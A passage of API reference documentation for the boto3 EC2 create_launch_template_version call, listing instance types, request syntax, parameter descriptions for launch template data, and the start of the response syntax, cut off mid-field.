't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string', + 'PartitionNumber': 123 + }, + 'RamDiskId': 'string', + 'DisableApiTermination': True|False, + 'InstanceInitiatedShutdownBehavior': 'stop'|'terminate', + 'UserData': 'string', + 'TagSpecifications': [ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'ElasticGpuSpecifications': [ + { + 'Type': 'string' + }, + ], + 'ElasticInferenceAccelerators': [ + { + 'Type': 'string', + 'Count': 123 + }, + ], + 'SecurityGroupIds': [ + 'string', + ], + 'SecurityGroups': [ + 'string', + ], + 'InstanceMarketOptions': { + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + 'CreditSpecification': { + 'CpuCredits': 'string' + }, + 'CpuOptions': { + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + 'CapacityReservationSpecification': { + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + 'LicenseSpecifications': [ + { + 'LicenseConfigurationArn': 'string' + }, + ], + 'HibernationOptions': { + 'Configured': True|False + }, + 'MetadataOptions': { + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + 'EnclaveOptions': { + 'Enabled': True|False + } + } +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraint: Maximum 128 ASCII characters. + +* **LaunchTemplateId** (_string_) -- The ID of the launch template. You must specify either the launch template ID or launch template name in the request. +* **LaunchTemplateName** (_string_) -- The name of the launch template. You must specify either the launch template ID or launch template name in the request. +* **SourceVersion** (_string_) -- The version number of the launch template version on which to base the new version. The new version inherits the same launch parameters as the source version, except for parameters that you specify in LaunchTemplateData . Snapshots applied to the block device mapping are ignored when creating a new version unless they are explicitly included. +* **VersionDescription** (_string_) -- A description for the version of the launch template. +* **LaunchTemplateData** (_dict_) -- + + **[REQUIRED]** + + The information for the launch template. + + * **KernelId** _(string) --_ + + The ID of the kernel. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [User Provided Kernels](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal Amazon EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS-optimized instance. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + + * **BlockDeviceMappings** _(list) --_ + + The block device mapping. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeralN). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1. The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **Encrypted** _(boolean) --_ + + Indicates whether the EBS volume is encrypted. Encrypted volumes can only be attached to instances that support Amazon EBS encryption. If you are creating a volume from a snapshot, you can't specify an encryption value. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **KmsKeyId** _(string) --_ + + The ARN of the symmetric AWS Key Management Service (AWS KMS) CMK used for encryption. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 : 1-16,384 + * io1 and io2 : 4-16,384 + * st1 and sc1 : 125-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. The default is gp2 . For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **Throughput** _(integer) --_ + + The throughput to provision for a gp3 volume, with a maximum of 1,000 MiB/s. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **NetworkInterfaces** _(list) --_ + + One or more network interfaces. If you specify a network interface, you must specify any security groups and subnets as part of the network interface. + + * _(dict) --_ + + The parameters for a network interface. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Associates a Carrier IP address with eth0 for a new network interface. + + Use this option when you launch an instance in a Wavelength Zone and want to associate a Carrier IP address with the network interface. For more information about Carrier IP addresses, see [Carrier IP addresses](https://docs.aws.amazon.com/wavelength/latest/developerguide/how-wavelengths-work.html#provider-owned-ip) in the _AWS Wavelength Developer Guide_ . + + * **AssociatePublicIpAddress** _(boolean) --_ + + Associates a public IPv4 address with eth0 for a new network interface. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + * **Description** _(string) --_ + + A description for the network interface. + + * **DeviceIndex** _(integer) --_ + + The device index for the network interface attachment. + + * **Groups** _(list) --_ + + The IDs of one or more security groups. + + * _(string) --_ + * **InterfaceType** _(string) --_ + + The type of network interface. To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **Ipv6AddressCount** _(integer) --_ + + The number of IPv6 addresses to assign to a network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. + + * **Ipv6Addresses** _(list) --_ + + One or more specific IPv6 addresses from the IPv6 CIDR block range of your subnet. You can't use this option if you're specifying a number of IPv6 addresses. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **PrivateIpAddress** _(string) --_ + + The primary private IPv4 address of the network interface. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses to assign to a network interface. + + * **SubnetId** _(string) --_ + + The ID of the subnet for the network interface. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + + * **ImageId** _(string) --_ + + The ID of the AMI. + + * **InstanceType** _(string) --_ + + The instance type. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **KeyName** _(string) --_ + + The name of the key pair. You can create a key pair using [CreateKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html) or [ImportKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html) . + + Warning + + If you do not specify a key pair, you can't connect to the instance unless you choose an AMI that is configured to allow users another way to log in. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **Enabled** _(boolean) --_ + + Specify true to enable detailed monitoring. Otherwise, basic monitoring is enabled. + + * **Placement** _(dict) --_ + + The placement for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone for the instance. + + * **Affinity** _(string) --_ + + The affinity setting for an instance on a Dedicated Host. + + * **GroupName** _(string) --_ + + The name of the placement group for the instance. + + * **HostId** _(string) --_ + + The ID of the Dedicated Host for the instance. + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance should launch in. Valid only if the placement group strategy is set to partition . + + * **RamDiskId** _(string) --_ + + The ID of the RAM disk. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [User Provided Kernels](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **DisableApiTermination** _(boolean) --_ + + If you set this parameter to true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. To change this attribute after launch, use [ModifyInstanceAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html) . Alternatively, if you set InstanceInitiatedShutdownBehavior to terminate , you can terminate the instance by running the shutdown command from the instance. + + * **InstanceInitiatedShutdownBehavior** _(string) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + Default: stop + + * **UserData** _(string) --_ + + The Base64-encoded user data to make available to the instance. For more information, see [Running Commands on Your Linux Instance at Launch](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) (Linux) and [Adding User Data](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-instance-metadata.html#instancedata-add-user-data) (Windows). + + * **TagSpecifications** _(list) --_ + + The tags to apply to the resources during launch. You can only tag instances and volumes on launch. The specified tags are applied to all instances or volumes that are created during launch. To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * _(dict) --_ + + The tags specification for the launch template. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are instance and volume . To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **ElasticGpuSpecifications** _(list) --_ + + An elastic GPU to associate with the instance. + + * _(dict) --_ + + A specification for an Elastic Graphics accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of Elastic Graphics accelerator. For more information about the values to specify for Type , see [Elastic Graphics Basics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html#elastic-graphics-basics) , specifically the Elastic Graphics accelerator column, in the _Amazon Elastic Compute Cloud User Guide for Windows Instances_ . + + * **ElasticInferenceAccelerators** _(list) --_ + + The elastic inference accelerator for the instance. + + * _(dict) --_ + + Describes an elastic inference accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of elastic inference accelerator. The possible values are eia1.medium, eia1.large, and eia1.xlarge. + + * **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + + * **SecurityGroupIds** _(list) --_ + + One or more security group IDs. You can create a security group using [CreateSecurityGroup](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateSecurityGroup.html) . You cannot specify both a security group ID and security name in the same request. + + * _(string) --_ + * **SecurityGroups** _(list) --_ + + [EC2-Classic, default VPC] One or more security group names. For a nondefault VPC, you must use security group IDs instead. You cannot specify both a security group ID and security name in the same request. + + * _(string) --_ + * **InstanceMarketOptions** _(dict) --_ + + The market (purchasing) option for the instances. + + * **MarketType** _(string) --_ + + The market type. + + * **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + * **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. + + * **SpotInstanceType** _(string) --_ + + The Spot Instance request type. + + * **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + * **ValidUntil** _(datetime) --_ + + The end date of the request. For a one-time request, the request remains active until all instances launch, the request is canceled, or this date is reached. If the request is persistent, it remains active until it is canceled or this date and time is reached. The default end date is 7 days from the current date. + + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + + * **CreditSpecification** _(dict) --_ + + The credit option for CPU usage of the instance. Valid for T2, T3, or T3a instances only. + + * **CpuCredits** _(string) --_ **[REQUIRED]** + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + + * **CpuOptions** _(dict) --_ + + The CPU options for the instance. For more information, see [Optimizing CPU Options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. To disable multithreading for the instance, specify a value of 1. Otherwise, specify the default value of 2. + + * **CapacityReservationSpecification** _(dict) --_ + + The Capacity Reservation targeting option. If you do not specify this parameter, the instance's Capacity Reservation preference defaults to open , which enables it to run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation in which to run the instance. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the Capacity Reservation resource group in which to run the instance. + + * **LicenseSpecifications** _(list) --_ + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + * **HibernationOptions** _(dict) --_ + + Indicates whether an instance is enabled for hibernation. This parameter is valid only if the instance meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate Your Instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **Configured** _(boolean) --_ + + If you set this parameter to true , the instance is enabled for hibernation. + + Default: false + + * **MetadataOptions** _(dict) --_ + + The metadata options for the instance. For more information, see [Instance Metadata and User Data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + * **EnclaveOptions** _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. For more information, see [What is AWS Nitro Enclaves?](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave.html) in the _AWS Nitro Enclaves User Guide_ . + + You can't enable AWS Nitro Enclaves and hibernation on the same instance. + + * **Enabled** _(boolean) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true . + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LaunchTemplateVersion': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'VersionNumber': 123, + 'VersionDescription': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'CreatedBy': 'string', + 'DefaultVersion': True|False, + 'LaunchTemplateData': { + 'KernelId': 'string', + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'Encrypted': True|False, + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'KmsKeyId': 'string', + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'Throughput': 123 + }, + 'NoDevice': 'string' + }, + ], + 'NetworkInterfaces': [ + { + 'AssociateCarrierIpAddress': True|False, + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'InterfaceType': 'string', + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'NetworkCardIndex': 123 + }, + ], + 'ImageId': 'string', + 'InstanceType': 